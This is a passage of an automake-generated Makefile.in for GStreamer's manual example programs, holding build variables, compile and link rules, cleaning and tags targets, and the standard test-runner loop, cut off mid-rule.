query_LDADD = $(LDADD) query_DEPENDENCIES = \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) typefind_SOURCES = typefind.c typefind_OBJECTS = typefind.$(OBJEXT) typefind_LDADD = $(LDADD) typefind_DEPENDENCIES = \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) DEFAULT_INCLUDES = -I.@am__isrc@ -I$(top_builddir) depcomp = $(SHELL) $(top_srcdir)/depcomp am__depfiles_maybe = depfiles am__mv = mv -f COMPILE = $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) \ $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) LTCOMPILE = $(LIBTOOL) $(AM_V_lt) --tag=CC $(AM_LIBTOOLFLAGS) \ $(LIBTOOLFLAGS) --mode=compile $(CC) $(DEFS) \ $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) \ $(AM_CFLAGS) $(CFLAGS) AM_V_CC = $(am__v_CC_$(V)) am__v_CC_ = $(am__v_CC_$(AM_DEFAULT_VERBOSITY)) am__v_CC_0 = @echo " CC " $@; AM_V_at = $(am__v_at_$(V)) am__v_at_ = $(am__v_at_$(AM_DEFAULT_VERBOSITY)) am__v_at_0 = @ CCLD = $(CC) LINK = $(LIBTOOL) $(AM_V_lt) --tag=CC $(AM_LIBTOOLFLAGS) \ $(LIBTOOLFLAGS) --mode=link $(CCLD) $(AM_CFLAGS) $(CFLAGS) \ $(AM_LDFLAGS) $(LDFLAGS) -o $@ AM_V_CCLD = $(am__v_CCLD_$(V)) am__v_CCLD_ = $(am__v_CCLD_$(AM_DEFAULT_VERBOSITY)) am__v_CCLD_0 = @echo " CCLD " $@; AM_V_GEN = $(am__v_GEN_$(V)) am__v_GEN_ = $(am__v_GEN_$(AM_DEFAULT_VERBOSITY)) am__v_GEN_0 = @echo " GEN " $@; SOURCES = bin.c decodebin.c dynamic.c elementcreate.c elementfactory.c \ elementget.c elementlink.c elementmake.c fakesrc.c ghostpad.c \ helloworld.c init.c pad.c playbin.c query.c typefind.c DIST_SOURCES = bin.c decodebin.c dynamic.c elementcreate.c \ elementfactory.c elementget.c elementlink.c elementmake.c \ fakesrc.c ghostpad.c helloworld.c init.c pad.c playbin.c \ query.c typefind.c ETAGS = etags CTAGS = ctags am__tty_colors = \ red=; grn=; lgn=; blu=; std= DISTFILES = $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST) ACLOCAL = @ACLOCAL@ ACLOCAL_AMFLAGS = @ACLOCAL_AMFLAGS@ AMTAR = @AMTAR@ AM_DEFAULT_VERBOSITY = @AM_DEFAULT_VERBOSITY@ AR = @AR@ AS = @AS@ AUTOCONF = @AUTOCONF@ AUTOHEADER = @AUTOHEADER@ AUTOMAKE = @AUTOMAKE@ AWK = @AWK@ BISON_PATH = @BISON_PATH@ CAT_ENTRY_END = @CAT_ENTRY_END@ CAT_ENTRY_START = @CAT_ENTRY_START@ CC = @CC@ CCAS = @CCAS@ CCASDEPMODE = @CCASDEPMODE@ CCASFLAGS = @CCASFLAGS@ CCDEPMODE = @CCDEPMODE@ CFLAGS = @CFLAGS@ CHECK_MAJOR_VERSION = @CHECK_MAJOR_VERSION@ CHECK_MICRO_VERSION = @CHECK_MICRO_VERSION@ CHECK_MINOR_VERSION = @CHECK_MINOR_VERSION@ CHECK_VERSION = @CHECK_VERSION@ CPP = @CPP@ CPPFLAGS = @CPPFLAGS@ CXXFLAGS = @CXXFLAGS@ CYGPATH_W = @CYGPATH_W@ DATADIR = @DATADIR@ DEFS = @DEFS@ DEPDIR = @DEPDIR@ DEPRECATED_CFLAGS = @DEPRECATED_CFLAGS@ DLLTOOL = @DLLTOOL@ DOCBOOK_ROOT = @DOCBOOK_ROOT@ DSYMUTIL = @DSYMUTIL@ DUMPBIN = @DUMPBIN@ ECHO_C = @ECHO_C@ ECHO_N = @ECHO_N@ ECHO_T = @ECHO_T@ EGREP = @EGREP@ ENABLE_SUBUNIT = @ENABLE_SUBUNIT@ ERROR_CFLAGS = @ERROR_CFLAGS@ EXEEXT = @EXEEXT@ FFLAGS = @FFLAGS@ FGREP = @FGREP@ FLEX_PATH = @FLEX_PATH@ GCOV = @GCOV@ GCOV_CFLAGS = @GCOV_CFLAGS@ GCOV_LIBS = @GCOV_LIBS@ GETTEXT_MACRO_VERSION = @GETTEXT_MACRO_VERSION@ GETTEXT_PACKAGE = @GETTEXT_PACKAGE@ GLIB_CFLAGS = @GLIB_CFLAGS@ GLIB_LIBS = @GLIB_LIBS@ GLIB_ONLY_CFLAGS = @GLIB_ONLY_CFLAGS@ GLIB_ONLY_LIBS = @GLIB_ONLY_LIBS@ GLIB_PREFIX = @GLIB_PREFIX@ GLIB_REQ = @GLIB_REQ@ GMP_LIBS = @GMP_LIBS@ GMSGFMT = @GMSGFMT@ GMSGFMT_015 = @GMSGFMT_015@ GREP = @GREP@ GSL_LIBS = @GSL_LIBS@ GST_AGE = @GST_AGE@ GST_ALL_CFLAGS = @GST_ALL_CFLAGS@ GST_ALL_LDFLAGS = @GST_ALL_LDFLAGS@ GST_ALL_LIBS = @GST_ALL_LIBS@ GST_CURRENT = @GST_CURRENT@ GST_DISABLE_ALLOC_TRACE_DEFINE = @GST_DISABLE_ALLOC_TRACE_DEFINE@ GST_DISABLE_GST_DEBUG_DEFINE = @GST_DISABLE_GST_DEBUG_DEFINE@ GST_DISABLE_LOADSAVE_DEFINE = @GST_DISABLE_LOADSAVE_DEFINE@ GST_DISABLE_NET_DEFINE = @GST_DISABLE_NET_DEFINE@ GST_DISABLE_OPTION_PARSING_DEFINE = @GST_DISABLE_OPTION_PARSING_DEFINE@ GST_DISABLE_PARSE_DEFINE = @GST_DISABLE_PARSE_DEFINE@ GST_DISABLE_PLUGIN_DEFINE = @GST_DISABLE_PLUGIN_DEFINE@ GST_DISABLE_REGISTRY_DEFINE = @GST_DISABLE_REGISTRY_DEFINE@ GST_DISABLE_TRACE_DEFINE = @GST_DISABLE_TRACE_DEFINE@ GST_DISABLE_XML_DEFINE = @GST_DISABLE_XML_DEFINE@ GST_HAVE_GLIB_2_8_DEFINE = @GST_HAVE_GLIB_2_8_DEFINE@ GST_HAVE_MONOTONIC_CLOCK_DEFINE = @GST_HAVE_MONOTONIC_CLOCK_DEFINE@ GST_HAVE_POSIX_TIMERS_DEFINE = @GST_HAVE_POSIX_TIMERS_DEFINE@ GST_HAVE_UNALIGNED_ACCESS_DEFINE = @GST_HAVE_UNALIGNED_ACCESS_DEFINE@ GST_LEVEL_DEFAULT = @GST_LEVEL_DEFAULT@ GST_LIBVERSION = @GST_LIBVERSION@ GST_LIB_LDFLAGS = @GST_LIB_LDFLAGS@ GST_LICENSE = @GST_LICENSE@ GST_LOADSAVE_DOC_TYPES = @GST_LOADSAVE_DOC_TYPES@ GST_LT_LDFLAGS = @GST_LT_LDFLAGS@ GST_MAJORMINOR = @GST_MAJORMINOR@ GST_OBJ_CFLAGS = @GST_OBJ_CFLAGS@ GST_OBJ_LIBS = @GST_OBJ_LIBS@ GST_OPTION_CFLAGS = @GST_OPTION_CFLAGS@ GST_PACKAGE_NAME = @GST_PACKAGE_NAME@ GST_PACKAGE_ORIGIN = @GST_PACKAGE_ORIGIN@ GST_PKG_DEPS = @GST_PKG_DEPS@ GST_PLUGIN_LDFLAGS = @GST_PLUGIN_LDFLAGS@ GST_PLUGIN_SCANNER_INSTALLED = @GST_PLUGIN_SCANNER_INSTALLED@ GST_PRINTF_EXTENSION_POINTER_FORMAT_DEFINE = @GST_PRINTF_EXTENSION_POINTER_FORMAT_DEFINE@ GST_PRINTF_EXTENSION_SEGMENT_FORMAT_DEFINE = @GST_PRINTF_EXTENSION_SEGMENT_FORMAT_DEFINE@ GST_REGISTRY_DOC_TYPES = @GST_REGISTRY_DOC_TYPES@ GST_REVISION = @GST_REVISION@ GST_USING_PRINTF_EXTENSION_DEFINE = @GST_USING_PRINTF_EXTENSION_DEFINE@ GTKDOC_CHECK = @GTKDOC_CHECK@ HAVE_DOCBOOK2HTML = @HAVE_DOCBOOK2HTML@ HAVE_DOCBOOK2PS = @HAVE_DOCBOOK2PS@ HAVE_DVIPS = @HAVE_DVIPS@ HAVE_EPSTOPDF = @HAVE_EPSTOPDF@ HAVE_FIG2DEV = @HAVE_FIG2DEV@ HAVE_GMP = @HAVE_GMP@ HAVE_GSL = @HAVE_GSL@ HAVE_JADETEX = @HAVE_JADETEX@ HAVE_PNGTOPNM = @HAVE_PNGTOPNM@ HAVE_PNMTOPS = @HAVE_PNMTOPS@ HAVE_PS2PDF = @HAVE_PS2PDF@ HAVE_XMLLINT = @HAVE_XMLLINT@ HOST_CPU = @HOST_CPU@ HTML_DIR = @HTML_DIR@ INET_ATON_LIBS = @INET_ATON_LIBS@ INSTALL = @INSTALL@ INSTALL_DATA = @INSTALL_DATA@ INSTALL_PROGRAM = @INSTALL_PROGRAM@ INSTALL_SCRIPT = @INSTALL_SCRIPT@ INSTALL_STRIP_PROGRAM = @INSTALL_STRIP_PROGRAM@ INTLLIBS = @INTLLIBS@ INTL_MACOSX_LIBS = @INTL_MACOSX_LIBS@ INTROSPECTION_COMPILER = @INTROSPECTION_COMPILER@ INTROSPECTION_GENERATE = @INTROSPECTION_GENERATE@ INTROSPECTION_GIRDIR = @INTROSPECTION_GIRDIR@ INTROSPECTION_SCANNER = @INTROSPECTION_SCANNER@ INTROSPECTION_TYPELIBDIR = @INTROSPECTION_TYPELIBDIR@ LD = @LD@ LDFLAGS = @LDFLAGS@ LIBDIR = @LIBDIR@ LIBICONV = @LIBICONV@ LIBINTL = @LIBINTL@ LIBM = @LIBM@ LIBOBJS = @LIBOBJS@ LIBS = @LIBS@ LIBTOOL = @LIBTOOL@ LIBXML2_REQ = @LIBXML2_REQ@ LIBXML_PKG = @LIBXML_PKG@ LIPO = @LIPO@ LN_S = @LN_S@ LOCALEDIR = @LOCALEDIR@ LTLIBICONV = @LTLIBICONV@ LTLIBINTL = @LTLIBINTL@ LTLIBOBJS = @LTLIBOBJS@ MAINT = @MAINT@ MAKEINFO = @MAKEINFO@ MKDIR_P = @MKDIR_P@ MSGFMT = @MSGFMT@ MSGFMT_015 = @MSGFMT_015@ MSGMERGE = @MSGMERGE@ NM = @NM@ NMEDIT = @NMEDIT@ OBJDUMP = @OBJDUMP@ OBJEXT = @OBJEXT@ OTOOL = @OTOOL@ OTOOL64 = @OTOOL64@ PACKAGE = @PACKAGE@ PACKAGE_BUGREPORT = @PACKAGE_BUGREPORT@ PACKAGE_NAME = @PACKAGE_NAME@ PACKAGE_STRING = @PACKAGE_STRING@ PACKAGE_TARNAME = @PACKAGE_TARNAME@ PACKAGE_URL = @PACKAGE_URL@ PACKAGE_VERSION = @PACKAGE_VERSION@ PACKAGE_VERSION_MAJOR = @PACKAGE_VERSION_MAJOR@ PACKAGE_VERSION_MICRO = @PACKAGE_VERSION_MICRO@ PACKAGE_VERSION_MINOR = @PACKAGE_VERSION_MINOR@ PACKAGE_VERSION_NANO = @PACKAGE_VERSION_NANO@ PACKAGE_VERSION_RELEASE = @PACKAGE_VERSION_RELEASE@ PATH_SEPARATOR = @PATH_SEPARATOR@ PERL_PATH = @PERL_PATH@ PKG_CONFIG = @PKG_CONFIG@ PLUGINDIR = @PLUGINDIR@ POSUB = @POSUB@ PROFILE_CFLAGS = @PROFILE_CFLAGS@ PYTHON = @PYTHON@ PYTHON_EXEC_PREFIX = @PYTHON_EXEC_PREFIX@ PYTHON_PLATFORM = @PYTHON_PLATFORM@ PYTHON_PREFIX = @PYTHON_PREFIX@ PYTHON_VERSION = @PYTHON_VERSION@ RANLIB = @RANLIB@ SED = @SED@ SET_MAKE = @SET_MAKE@ SHELL = @SHELL@ STRIP = @STRIP@ USE_NLS = @USE_NLS@ VALGRIND_CFLAGS = @VALGRIND_CFLAGS@ VALGRIND_LIBS = @VALGRIND_LIBS@ VALGRIND_PATH = @VALGRIND_PATH@ VERSION = @VERSION@ WARNING_CFLAGS = @WARNING_CFLAGS@ WIN32_LIBS = @WIN32_LIBS@ XGETTEXT = @XGETTEXT@ XGETTEXT_015 = @XGETTEXT_015@ XGETTEXT_EXTRA_OPTIONS = @XGETTEXT_EXTRA_OPTIONS@ XML_CATALOG = @XML_CATALOG@ XML_CFLAGS = @XML_CFLAGS@ XML_LIBS = @XML_LIBS@ XSLTPROC = @XSLTPROC@ XSLTPROC_FLAGS = @XSLTPROC_FLAGS@ abs_builddir = @abs_builddir@ abs_srcdir = @abs_srcdir@ abs_top_builddir = @abs_top_builddir@ abs_top_srcdir = @abs_top_srcdir@ ac_ct_CC = @ac_ct_CC@ ac_ct_DUMPBIN = @ac_ct_DUMPBIN@ am__include = @am__include@ am__leading_dot = @am__leading_dot@ am__quote = @am__quote@ am__tar = @am__tar@ am__untar = @am__untar@ bindir = @bindir@ build = @build@ build_alias = @build_alias@ build_cpu = @build_cpu@ build_os = @build_os@ build_vendor = @build_vendor@ builddir = @builddir@ datadir = @datadir@ datarootdir = @datarootdir@ docdir = @docdir@ dvidir = @dvidir@ exec_prefix = @exec_prefix@ host = @host@ host_alias = @host_alias@ host_cpu = @host_cpu@ host_os = @host_os@ host_vendor = @host_vendor@ htmldir = @htmldir@ includedir = @includedir@ infodir = @infodir@ install_sh = @install_sh@ libdir = @libdir@ libexecdir = @libexecdir@ localedir = @localedir@ localstatedir = @localstatedir@ lt_ECHO = @lt_ECHO@ mandir = @mandir@ mkdir_p = @mkdir_p@ oldincludedir = @oldincludedir@ pdfdir = @pdfdir@ pkgpyexecdir = @pkgpyexecdir@ pkgpythondir = @pkgpythondir@ plugindir = @plugindir@ prefix = @prefix@ program_transform_name = @program_transform_name@ psdir = @psdir@ pyexecdir = @pyexecdir@ pythondir = @pythondir@ sbindir = @sbindir@ sharedstatedir = @sharedstatedir@ srcdir = @srcdir@ sysconfdir = @sysconfdir@ target_alias = @target_alias@ top_build_prefix = @top_build_prefix@ top_builddir = @top_builddir@ top_srcdir = @top_srcdir@ # if HAVE_LIBGNOMEUI # GNOME = gnome # else GNOME = # endif # gnome_LDADD = $(GST_OBJ_LIBS) $(LIBGNOMEUI_LIBS) # gnome_CFLAGS = $(GST_OBJ_CFLAGS) $(LIBGNOMEUI_CFLAGS) CHECK_REGISTRY = $(top_builddir)/tests/examples/manual/test-registry.reg REGISTRY_ENVIRONMENT = \ GST_REGISTRY=$(CHECK_REGISTRY) TESTS_ENVIRONMENT = \ $(REGISTRY_ENVIRONMENT) \ GST_PLUGIN_SCANNER=$(top_builddir)/libs/gst/helpers/gst-plugin-scanner \ GST_PLUGIN_SYSTEM_PATH= \ GST_PLUGIN_PATH=$(top_builddir)/plugins CLEANFILES = core core.* test-registry.* *.gcno *.gcda EXTRA_DIST = extract.pl EXAMPLES = \ dynamic \ $(GNOME) \ elementcreate \ elementmake \ elementfactory \ elementget \ elementlink \ bin \ pad \ ghostpad \ helloworld \ init \ query \ typefind \ fakesrc \ playbin \ decodebin \ $(GST_LOADSAVE_SRC) AM_CFLAGS = $(GST_OBJ_CFLAGS) LDADD = $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(GST_OBJ_LIBS) all: all-am .SUFFIXES: .SUFFIXES: .c .lo .o .obj $(srcdir)/Makefile.in: @MAINTAINER_MODE_TRUE@ $(srcdir)/Makefile.am $(am__configure_deps) @for dep in $?; do \ case '$(am__configure_deps)' in \ *$$dep*) \ ( cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh ) \ && { if test -f $@; then exit 0; else break; fi; }; \ exit 1;; \ esac; \ done; \ echo ' cd $(top_srcdir) && $(AUTOMAKE) --gnu tests/examples/manual/Makefile'; \ $(am__cd) $(top_srcdir) && \ $(AUTOMAKE) --gnu tests/examples/manual/Makefile .PRECIOUS: Makefile Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status @case '$?' in \ *config.status*) \ cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh;; \ *) \ echo ' cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe)'; \ cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe);; \ esac; $(top_builddir)/config.status: $(top_srcdir)/configure $(CONFIG_STATUS_DEPENDENCIES) cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh $(top_srcdir)/configure: @MAINTAINER_MODE_TRUE@ $(am__configure_deps) cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh $(ACLOCAL_M4): @MAINTAINER_MODE_TRUE@ $(am__aclocal_m4_deps) cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh $(am__aclocal_m4_deps): clean-noinstPROGRAMS: @list='$(noinst_PROGRAMS)'; test -n "$$list" || exit 0; \ echo " rm -f" $$list; \ rm -f $$list || exit $$?; \ test -n "$(EXEEXT)" || exit 0; \ list=`for p in $$list; do echo "$$p"; done | sed 's/$(EXEEXT)$$//'`; \ echo " rm -f" $$list; \ rm -f $$list bin$(EXEEXT): $(bin_OBJECTS) $(bin_DEPENDENCIES) @rm -f bin$(EXEEXT) $(AM_V_CCLD)$(LINK) $(bin_OBJECTS) $(bin_LDADD) $(LIBS) decodebin$(EXEEXT): $(decodebin_OBJECTS) $(decodebin_DEPENDENCIES) @rm -f decodebin$(EXEEXT) $(AM_V_CCLD)$(LINK) $(decodebin_OBJECTS) $(decodebin_LDADD) $(LIBS) dynamic$(EXEEXT): $(dynamic_OBJECTS) $(dynamic_DEPENDENCIES) @rm -f dynamic$(EXEEXT) $(AM_V_CCLD)$(LINK) $(dynamic_OBJECTS) $(dynamic_LDADD) $(LIBS) elementcreate$(EXEEXT): $(elementcreate_OBJECTS) $(elementcreate_DEPENDENCIES) @rm -f elementcreate$(EXEEXT) $(AM_V_CCLD)$(LINK) $(elementcreate_OBJECTS) $(elementcreate_LDADD) $(LIBS) elementfactory$(EXEEXT): $(elementfactory_OBJECTS) $(elementfactory_DEPENDENCIES) @rm -f elementfactory$(EXEEXT) $(AM_V_CCLD)$(LINK) $(elementfactory_OBJECTS) $(elementfactory_LDADD) $(LIBS) elementget$(EXEEXT): $(elementget_OBJECTS) $(elementget_DEPENDENCIES) @rm -f elementget$(EXEEXT) $(AM_V_CCLD)$(LINK) $(elementget_OBJECTS) $(elementget_LDADD) $(LIBS) elementlink$(EXEEXT): $(elementlink_OBJECTS) $(elementlink_DEPENDENCIES) @rm -f elementlink$(EXEEXT) $(AM_V_CCLD)$(LINK) $(elementlink_OBJECTS) $(elementlink_LDADD) $(LIBS) elementmake$(EXEEXT): $(elementmake_OBJECTS) $(elementmake_DEPENDENCIES) @rm -f elementmake$(EXEEXT) $(AM_V_CCLD)$(LINK) $(elementmake_OBJECTS) $(elementmake_LDADD) $(LIBS) fakesrc$(EXEEXT): $(fakesrc_OBJECTS) $(fakesrc_DEPENDENCIES) @rm -f fakesrc$(EXEEXT) $(AM_V_CCLD)$(LINK) $(fakesrc_OBJECTS) $(fakesrc_LDADD) $(LIBS) ghostpad$(EXEEXT): $(ghostpad_OBJECTS) $(ghostpad_DEPENDENCIES) @rm -f ghostpad$(EXEEXT) $(AM_V_CCLD)$(LINK) $(ghostpad_OBJECTS) $(ghostpad_LDADD) $(LIBS) helloworld$(EXEEXT): $(helloworld_OBJECTS) $(helloworld_DEPENDENCIES) @rm -f helloworld$(EXEEXT) $(AM_V_CCLD)$(LINK) $(helloworld_OBJECTS) $(helloworld_LDADD) $(LIBS) init$(EXEEXT): $(init_OBJECTS) $(init_DEPENDENCIES) @rm -f init$(EXEEXT) $(AM_V_CCLD)$(LINK) $(init_OBJECTS) $(init_LDADD) $(LIBS) pad$(EXEEXT): $(pad_OBJECTS) $(pad_DEPENDENCIES) @rm -f pad$(EXEEXT) $(AM_V_CCLD)$(LINK) $(pad_OBJECTS) $(pad_LDADD) $(LIBS) playbin$(EXEEXT): $(playbin_OBJECTS) $(playbin_DEPENDENCIES) @rm -f playbin$(EXEEXT) $(AM_V_CCLD)$(LINK) $(playbin_OBJECTS) $(playbin_LDADD) $(LIBS) query$(EXEEXT): $(query_OBJECTS) $(query_DEPENDENCIES) @rm -f query$(EXEEXT) $(AM_V_CCLD)$(LINK) $(query_OBJECTS) $(query_LDADD) $(LIBS) typefind$(EXEEXT): $(typefind_OBJECTS) $(typefind_DEPENDENCIES) @rm -f typefind$(EXEEXT) $(AM_V_CCLD)$(LINK) $(typefind_OBJECTS) $(typefind_LDADD) $(LIBS) mostlyclean-compile: -rm -f *.$(OBJEXT) distclean-compile: -rm -f *.tab.c @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/bin.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/decodebin.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/dynamic.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/elementcreate.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/elementfactory.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/elementget.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/elementlink.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/elementmake.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/fakesrc.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/ghostpad.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/helloworld.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/init.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/pad.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/playbin.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/query.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/typefind.Po@am__quote@ .c.o: @am__fastdepCC_TRUE@ $(AM_V_CC)$(COMPILE) -MT $@ -MD -MP -MF $(DEPDIR)/$*.Tpo -c -o $@ $< @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/$*.Tpo $(DEPDIR)/$*.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='$<' object='$@' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(COMPILE) -c $< .c.obj: @am__fastdepCC_TRUE@ $(AM_V_CC)$(COMPILE) -MT $@ -MD -MP -MF $(DEPDIR)/$*.Tpo -c -o $@ `$(CYGPATH_W) '$<'` @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/$*.Tpo $(DEPDIR)/$*.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='$<' object='$@' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(COMPILE) -c `$(CYGPATH_W) '$<'` .c.lo: @am__fastdepCC_TRUE@ $(AM_V_CC)$(LTCOMPILE) -MT $@ -MD -MP -MF $(DEPDIR)/$*.Tpo -c -o $@ $< @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/$*.Tpo $(DEPDIR)/$*.Plo @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='$<' object='$@' libtool=yes @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(LTCOMPILE) -c -o $@ $< mostlyclean-libtool: -rm -f *.lo clean-libtool: -rm -rf .libs _libs ID: $(HEADERS) $(SOURCES) $(LISP) $(TAGS_FILES) list='$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \ unique=`for i in $$list; do \ if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ done | \ $(AWK) '{ files[$$0] = 1; nonempty = 1; } \ END { if (nonempty) { for (i in files) print i; }; }'`; \ mkid -fID $$unique tags: TAGS TAGS: $(HEADERS) $(SOURCES) $(TAGS_DEPENDENCIES) \ $(TAGS_FILES) $(LISP) set x; \ here=`pwd`; \ list='$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \ unique=`for i in $$list; do \ if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ done | \ $(AWK) '{ files[$$0] = 1; nonempty = 1; } \ END { if (nonempty) { for (i in files) print i; }; }'`; \ shift; \ if test -z "$(ETAGS_ARGS)$$*$$unique"; then :; else \ test -n "$$unique" || unique=$$empty_fix; \ if test $$# -gt 0; then \ $(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \ "$$@" $$unique; \ else \ $(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \ $$unique; \ fi; \ fi ctags: CTAGS CTAGS: $(HEADERS) $(SOURCES) $(TAGS_DEPENDENCIES) \ $(TAGS_FILES) $(LISP) list='$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \ unique=`for i in $$list; do \ if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ done | \ $(AWK) '{ files[$$0] = 1; nonempty = 1; } \ END { if (nonempty) { for (i in files) print i; }; }'`; \ test -z "$(CTAGS_ARGS)$$unique" \ || $(CTAGS) $(CTAGSFLAGS) $(AM_CTAGSFLAGS) $(CTAGS_ARGS) \ $$unique GTAGS: here=`$(am__cd) $(top_builddir) && pwd` \ && $(am__cd) $(top_srcdir) \ && gtags -i $(GTAGS_ARGS) "$$here" distclean-tags: -rm -f TAGS ID GTAGS GRTAGS GSYMS GPATH tags check-TESTS: $(TESTS) @failed=0; all=0; xfail=0; xpass=0; skip=0; \ srcdir=$(srcdir); export srcdir; \ list=' $(TESTS) '; \ $(am__tty_colors); \ if test -n "$$list"; then \ for tst in $$list; do \ if test -f ./$$tst; then dir=./; \ elif test -f $$tst; then dir=; \ else dir="$(srcdir)/"; fi; \ if $(TESTS_ENVIRONMENT) $${dir}$$tst; then \ all=`expr $$all + 1`; \ case " $(XFAIL_TESTS) " in \ *[\ \ ]$$tst[\ \ ]*) \ xpass=`expr $$xpass + 1`; \ failed=`expr $$failed + 1`; \ col=$$red; res=XPASS; \ ;; \ *) \ col=$$grn; res=PASS; \ ;; \ esac; \ elif test $$? -ne 77; then \ all=`expr $$all + 1`; \ case " $(XFAIL_TESTS) " in \ *[\ \ ]$$tst[\ \ ]*) \ xfail=`expr $$xfail + 1`; \ col=$$lgn; res=XFAIL; \ ;; \ *) \ failed=`expr $$failed + 1`; \ col=$$red; res=FAIL; \ ;; \ esac; \ else \ skip=`expr $$skip + 1`; \ col=$$blu; res=SKIP; \ fi; \ echo "$${col}$$res$${std}: $$tst"; \ done; \ if test "$$all" -eq 1; then \ tests="test"; \ All=""; \ else \ tests="tests"; \ All="All "; \ fi; \ if test "$$failed" -eq 0; then \ if test "$$xfail" -eq 0; then \ banner="$$All$$all $$tests passed"; \ else \ if test "$$xfail" -eq 1; then failures=failure; else failures=failures; fi; \ banner="$$All$$all $$tests behaved as expected ($$xfail expected $$failures)"; \ fi; \ else \ if test "$$xpass" -eq 0; then \ banner="$$failed of $$all $$tests failed"; \ else \ if test "$$xpass" -eq 1; then passes=pass; else passes=passes; fi; \ banner="$$failed of $$all $$tests did not behave as expected ($$xpass unexpected $$passes)"; \ fi; \ fi; \ dashes="$$banner"; \ skipped=""; \ if test "$$skip" -ne 0; then \ if test "$$skip" -eq 1; then \ skipped="($$skip test was not run)"; \ else \ skipped="($$skip tests were not run)"; \ fi; \ test `echo "$$skipped" | wc -c` -le `echo "$$banner" | wc -c` || \ dashes="$$skipped"; \ fi; \ report=""; \ if test "$$failed" -ne 0 && test -n "$(PACKAGE_BUGREPORT)"; then \ report="Please report to $(PACKAGE_BUGREPORT)"; \ test `echo "$$report" | wc -c` -le `echo "$$banner" | wc -c` || \ dashes="$$report"; \ fi; \ dashes=`echo "$$dashes" | sed s/./=/g`; \ if test "$$failed" -eq 0; then \ echo "$$grn$$dashes"; \ else \ echo "$$red$$dashes"; \ fi; \ echo "$$banner"; \ test -z "$$skipped" || echo "$$skipped"; \ test -z "$$report" || echo "$$report"; \ echo "$$dashes$$std"; \ test "$$failed" -eq 0; \ else :; fi distdir: $(DISTFILES) @srcdirstrip=`echo "$(srcdir)" | sed 's/[].[^$$\\*]/\\\\&/g'`; \ topsrcdirstrip=`echo "$(top_srcdir)" | sed 's/[].[^$$\\*]/\\\\&/g'`; \ list='$(DISTFILES)'; \ dist_files=`for file in $$list; do echo $$file; done | \ sed -e "s|^$$srcdirstrip/||;t" \ -e "s|^$$topsrcdirstrip/|$(top_builddir)/|;t"`; \ case $$dist_files in \ */*) 